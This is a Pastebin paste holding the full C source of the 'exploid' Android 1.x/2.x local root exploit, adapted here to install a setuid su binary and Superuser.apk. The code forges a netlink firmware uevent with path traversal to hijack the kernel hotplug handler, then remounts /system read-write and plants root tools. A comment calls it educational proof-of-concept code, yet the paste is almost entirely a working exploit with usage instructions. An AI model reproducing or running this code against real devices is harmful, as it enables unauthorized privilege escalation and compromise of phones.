Guest User

Untitled

a guest
Oct 21st, 2017
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.06 KB | None | 0 0
  1. /* android 1.x/2.x the real youdev feat. init local root exploit.
  2. * (C) 2009/2010 by The Android Exploid Crew.
  3. *
  4. * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
  5. * Or use /data/local/tmp if available (thx to ioerror!) It is important to
  6. * to use /sqlite_stmt_journals directory if available.
  7. * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
  8. * or use USB keys etc. This will invoke hotplug which is actually
  9. * our exploit making /system/bin/rootshell.
  10. * This exploit requires /etc/firmware directory, e.g. it will
  11. * run on real devices and not inside the emulator.
  12. * I'd like to have this exploitet by using the same blockdevice trick
  13. * as in udev, but internal structures only allow world writable char
  14. * devices, not block devices, so I used the firmware subsystem.
  15. *
  16. * !!!This is PoC code for educational purposes only!!!
  17. * If you run it, it might crash your device and make it unusable!
  18. * So you use it at your own risk!
  19. *
  20. * Thx to all the TAEC supporters.
  21. */
  22. #include <stdio.h>
  23. #include <sys/socket.h>
  24. #include <sys/types.h>
  25. #include <linux/netlink.h>
  26. #include <fcntl.h>
  27. #include <errno.h>
  28. #include <stdlib.h>
  29. #include <string.h>
  30. #include <string.h>
  31. #include <unistd.h>
  32. #include <sys/stat.h>
  33. #include <signal.h>
  34. #include <sys/mount.h>
  35.  
  36.  
  37. #define SECRET "secretlol"
  38.  
  39.  
  40. void die(const char *msg)
  41. {
  42. perror(msg);
  43. exit(errno);
  44. }
  45.  
  46.  
  47. void copy(const char *from, const char *to)
  48. {
  49. int fd1, fd2;
  50. char buf[0x1000];
  51. ssize_t r = 0;
  52.  
  53. if ((fd1 = open(from, O_RDONLY)) < 0)
  54. die("[-] open");
  55. if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0)
  56. die("[-] open");
  57. for (;;) {
  58. r = read(fd1, buf, sizeof(buf));
  59. if (r < 0)
  60. die("[-] read");
  61. if (r == 0)
  62. break;
  63. if (write(fd2, buf, r) != r)
  64. die("[-] write");
  65. }
  66.  
  67. close(fd1);
  68. close(fd2);
  69. sync(); sync();
  70. }
  71.  
  72.  
  73. void clear_hotplug()
  74. {
  75. int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
  76. write(ofd, "", 1);
  77. close(ofd);
  78. }
  79.  
  80.  
  81. int main(int argc, char **argv, char **env)
  82. {
  83. char buf[512], path[512];
  84. int ofd;
  85. struct sockaddr_nl snl;
  86. struct iovec iov = {buf, sizeof(buf)};
  87. struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
  88. int sock;
  89. char *basedir = NULL;
  90.  
  91.  
  92. /* I hope there is no LD_ bug in androids rtld :) */
  93. /*if (geteuid() == 0 && getuid() != 0)
  94. rootshell(env);*/
  95.  
  96. if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
  97. die("[-] readlink");
  98.  
  99. if (geteuid() == 0) {
  100. clear_hotplug();
  101. /* remount /system rw */
  102. //DROID 1 and Ally
  103. //mount("/dev/block/mtdblock4", "/system", "yaffs2", MS_REMOUNT, 0);
  104. //DROID X
  105. //mount("/dev/block/mmcblk1p21", "/system", "ext3", MS_REMOUNT, 0);
  106. //GALAXY S
  107. mount("/dev/block/stl9","/system", "rfs", MS_REMOUNT, 0);
  108. //Eris and HTC Hero
  109. //mount("/dev/block/mtdblock3", "/system", "yaffs2", MS_REMOUNT, 0);
  110. //copy("/sdcard/su","/system/bin/su");
  111. //copy("/sdcard/Superuser.apk","/system/app/Superuser.apk");
  112. copy("/data/data/com.unstableapps.easyroot/files/su","/system/bin/su");
  113. copy("/data/data/com.unstableapps.easyroot/files/Superuser.apk","/system/app/Superuser.apk");
  114. chmod("/system/bin/su", 04755);
  115. chmod("/system/app/Superuser.apk", 04744);
  116.  
  117. for (;;);
  118. }
  119.  
  120. //basedir = "/sqlite_stmt_journals";
  121. basedir = "/data/data/com.unstableapps.easyroot/files";
  122. if (chdir(basedir) < 0) {
  123. basedir = "/data/local/tmp";
  124. if (chdir(basedir) < 0)
  125. basedir = strdup(getcwd(buf, sizeof(buf)));
  126. }
  127.  
  128. memset(&snl, 0, sizeof(snl));
  129. snl.nl_pid = 1;
  130. snl.nl_family = AF_NETLINK;
  131.  
  132. if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
  133. die("[-] socket");
  134.  
  135. close(creat("loading", 0666));
  136. if ((ofd = creat("hotplug", 0644)) < 0)
  137. die("[-] creat");
  138. if (write(ofd, path , strlen(path)) < 0)
  139. die("[-] write");
  140. close(ofd);
  141. symlink("/proc/sys/kernel/hotplug", "data");
  142. snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
  143. "SUBSYSTEM=firmware%c"
  144. "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
  145. printf("[+] sending add message ...\n");
  146. if (sendmsg(sock, &msg, 0) < 0)
  147. die("[-] sendmsg");
  148. close(sock);
  149. sleep(3);
  150. return 0;
  151. }
Add Comment
Please, Sign In to add comment